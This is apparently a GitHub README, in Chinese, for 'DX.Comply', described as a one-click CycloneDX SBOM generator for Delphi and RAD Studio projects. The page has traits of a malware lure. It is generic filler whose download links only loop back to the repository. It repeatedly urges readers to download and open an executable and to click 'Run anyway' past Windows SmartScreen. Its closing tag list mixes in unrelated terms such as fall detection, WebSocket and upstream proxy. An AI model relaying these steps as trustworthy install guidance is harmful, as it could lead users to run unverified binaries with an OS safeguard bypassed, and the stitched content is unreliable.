27-suppression294/DX.Comply
GitHub: 27-suppression294/DX.Comply
一键为 Delphi 项目生成 CycloneDX SBOM 文件,助力 EU CRA 合规与软件供应链透明化
Stars: 0 | Forks: 0
# 🛡️ DX.Comply - Delphi 的一键 SBOM 工具
[](https://github.com/27-suppression294/DX.Comply)
## 📦 DX.Comply 的功能
DX.Comply 帮助您通过一键操作为 Delphi 项目创建 CycloneDX SBOM。
SBOM 是软件中使用部件的简单列表。它有助于欧盟网络弹性法案 (EU Cyber Resilience Act) 的相关工作以及基本的软件追踪。
在以下情况下使用 DX.Comply:
- 列出 Delphi 应用程序中使用的部件
- 创建 CycloneDX SBOM 文件
- 节省手动检查的时间
- 准备用于合规性审查的项目数据
## 💻 所需条件
在 Windows 上运行 DX.Comply 之前,请检查以下项目:
- Windows 10 或 Windows 11
- 现代网络浏览器
- 下载文件的权限
- 用于扫描的 Delphi 或 RAD Studio 项目
- 足够的磁盘空间用于存放 SBOM 文件和项目数据
为了获得最佳效果,请将您的项目保存在易于访问的文件夹中,例如:
- `Documents`
- `Desktop`
- `C:` 驱动器上的项目文件夹
## 🚀 下载并运行 DX.Comply
使用此链接访问下载页面:
[下载 DX.Comply](https://github.com/27-suppression294/DX.Comply)
打开页面后:
1. 找到最新的版本或主要下载文件
2. 将文件下载到您的计算机
3. 如果 Windows 请求批准,请选择保留该文件
4. 打开下载的文件
5. 按照屏幕上的步骤操作
如果下载的是 `.zip` 文件:
1. 右键单击该文件
2. 选择 `Extract All` (全部解压缩)
3. 打开解压后的文件夹
4. 运行里面的主应用程序或可执行文件
如果出现 Windows SmartScreen:
1. 点击 `More info` (更多信息)
2. 如果您信任文件来源,请点击 `Run anyway` (仍要运行)
## 🧭 首次设置
应用程序打开后,请按以下顺序设置扫描:
1. 选择您的 Delphi 项目文件夹
2. 选择项目文件或主源代码文件夹
3. 选择 SBOM 的保存位置
4. 如果应用程序提供多种输出格式,请进行选择
5. 开始扫描
一个好的输出文件名示例:
- `sbom.cyclonedx.json`
- `sbom.xml`
将输出文件保存在您以后能找到的文件夹中,例如项目文件夹或 `Reports` 文件夹。
## 🧪 如何创建 SBOM
请使用以下步骤进行常规运行:
1. 打开 DX.Comply
2. 选择您的 Delphi 项目
3. 让应用程序读取项目文件
4. 查看检测到的组件
5. 创建 CycloneDX SBOM
6. 保存文件
如果您的项目使用共享单元、包或组件库,DX.Comply 应将它们包含在扫描中,以便您的 SBOM 拥有更完整的列表。
## 🗂️ 输出内容
DX.Comply 创建一个标准的 SBOM 文件,可用于审查或归档任务。
该文件通常包括:
- 项目名称
- 组件名称
- 可用时的版本数据
- 包和依赖项详细信息
- 文件或库引用
- CycloneDX 格式数据
您可以将文件与项目一起保存,或与您的合规团队共享。
## 🔍 Delphi 项目的最佳结果
为了获得更清晰的 SBOM,请使用组织良好的项目文件夹。
请尝试以下提示:
- 在扫描前关闭 Delphi 或 RAD Studio
- 将源文件保存在一个主文件夹中
- 避免在扫描期间移动文件
- 将第三方组件存储在已知路径中
- 每次运行扫描时使用相同的项目文件夹
如果您的项目使用许多组件集,请按供应商或包名称对它们进行分组。这使 SBOM 更易于阅读。
## 🛠️ 常见任务
### 为单个项目创建 SBOM
1. 打开 DX.Comply
2. 选择项目文件夹
3. 运行扫描
4. 保存结果
### 代码更改后更新 SBOM
1. 再次打开同一个项目
2. 运行新的扫描
3. 替换旧的 SBOM 文件
4. 如果您需要更改记录,请保留这两个文件
### 发布前审查项目
1. 扫描发布文件夹
2. 检查列出的组件
3. 将 SBOM 与发布版本一起保存
4. 将两个文件一起归档
## 📁 建议的文件夹布局
一个简单的文件夹布局会有所帮助:
- `C:\Projects\MyApp\`
- `C:\Projects\MyApp\Source\`
- `C:\Projects\MyApp\Reports\`
- `C:\Projects\MyApp\Reports\sbom.cyclonedx.json`
这将源代码、扫描输出和发布数据保存在一处。
## 🧩 支持的用例
DX.Comply 专为 Delphi 项目和 RAD Studio 工作流而构建。
它适用于使用以下内容的项目:
- Delphi 源文件
- Pascal 单元
- Delphi 组件包
- 本地或共享库
- 基于项目的依赖项跟踪
## 🔐 为什么这很重要
SBOM 帮助您回答有关软件内部组成部分的问题。
这在以下情况下很重要:
- 跟踪构建中使用的部件
- 检查软件供应链数据
- 准备 EU CRA (欧盟网络弹性法案) 工作
- 保持发布记录井然有序
## ❓ 如果出现问题
如果应用程序无法启动:
1. 检查文件是否已完成下载
2. 确保 Windows 未阻止它
3. 将文件移动到简单的文件夹,如 `Desktop`
4. 从该文件夹重试
如果扫描未找到您的项目:
1. 检查您是否选择了正确的文件夹
2. 确保项目文件仍在原位
3. 如有需要,移除多余的嵌套文件夹
4. 尝试主项目文件夹而不是子文件夹
如果输出文件未保存:
1. 检查保存路径
2. 确保文件夹存在
3. 确认您拥有该文件夹的写入权限
4. 选择您拥有的文件夹,例如 `Documents`
## 📌 您可能看到的文件类型
DX.Comply 可能创建或处理以下文件:
- `.json`
- `.xml`
- `.dproj`
- `.pas`
- `.dpk`
- `.res`
这些文件在 Delphi 和 SBOM 工作中很常见。
## 🧭 基本工作流程
1. 从上面的链接下载 DX.Comply
2. 在 Windows 上打开该文件
3. 选择您的 Delphi 项目
4. 运行扫描
5. 保存 CycloneDX SBOM
6. 将 SBOM 与您的项目记录一起保存
## 🖥️ Windows 提示
为了避免 Windows 上的简单问题:
- 使用最新的 Windows 更新
- 下载到本地驱动器
- 避免从压缩文件夹内部运行
- 将应用程序和项目保存在路径较短的文件夹中
- 尽可能使用普通用户文件夹
## 📚 术语简述
- **SBOM**:软件部件列表
- **CycloneDX**:SBOM 文件的标准格式
- **Delphi**:用于构建 Windows 应用程序的软件工具
- **RAD Studio**:Delphi 项目的开发套件
- **Component (组件)**:您的应用程序使用的构建块
- **Compliance (合规)**:遵守规则或要求
## 📄 典型用例
一个小团队可以在发布前像这样使用 DX.Comply:
1. 打开项目
2. 运行扫描
3. 创建 SBOM
4. 将其与发布文件一起存储
5. 将其发送给负责合规性审查的人员
## 🔁 可重复流程
如果您经常处理同一个应用程序,请每次使用相同的步骤:
- 在主要代码更改后进行扫描
- 使用构建编号保存 SBOM
- 每次发布保留一个 SBOM
- 在需要更改记录时比较文件
## 📎 再次提供下载链接
[访问 DX.Comply 下载页面](https://github.com/27-suppression294/DX.Comply)
## 🗃️ 建议的发布命名
如果您为不同的构建保存 SBOM 文件,请使用清晰的名称,例如:
- `MyApp-1.0-sbom.json`
- `MyApp-1.1-sbom.json`
- `MyApp-release-2026-04.xml`
清晰的名称使以后更容易找到正确的文件
## 🧰 合规工作的良好习惯
- 将源代码和输出保存在一起
- 每次发布保存一个 SBOM
- 每次使用相同的文件夹结构
- 保留扫描结果的副本
- 在文件中记录构建日期
## 🔎 涵盖的主题领域
该项目涉及以下主题:
- compliance (合规)
- cybersecurity (网络安全)
- CycloneDX
- Delphi
- Delphi component (Delphi 组件)
- EU CRA (欧盟网络弹性法案)
- Pascal
- RAD Studio
- SBOM
- software bill of materials (软件物料清单)
标签:CycloneDX, Delphi, DevSecOps, EU CRA, GPT, Homebrew安装, Object Pascal, RAD Studio, SBOM, WebSocket, Windows 软件, 一键生成, 上游代理, 人工智能安全, 依赖分析, 合规性, 数据集, 欧盟网络弹性法案, 漏洞管理, 硬件无关, 组件管理, 跌倒检测, 软件供应链安全, 软件物料清单, 远程方法调用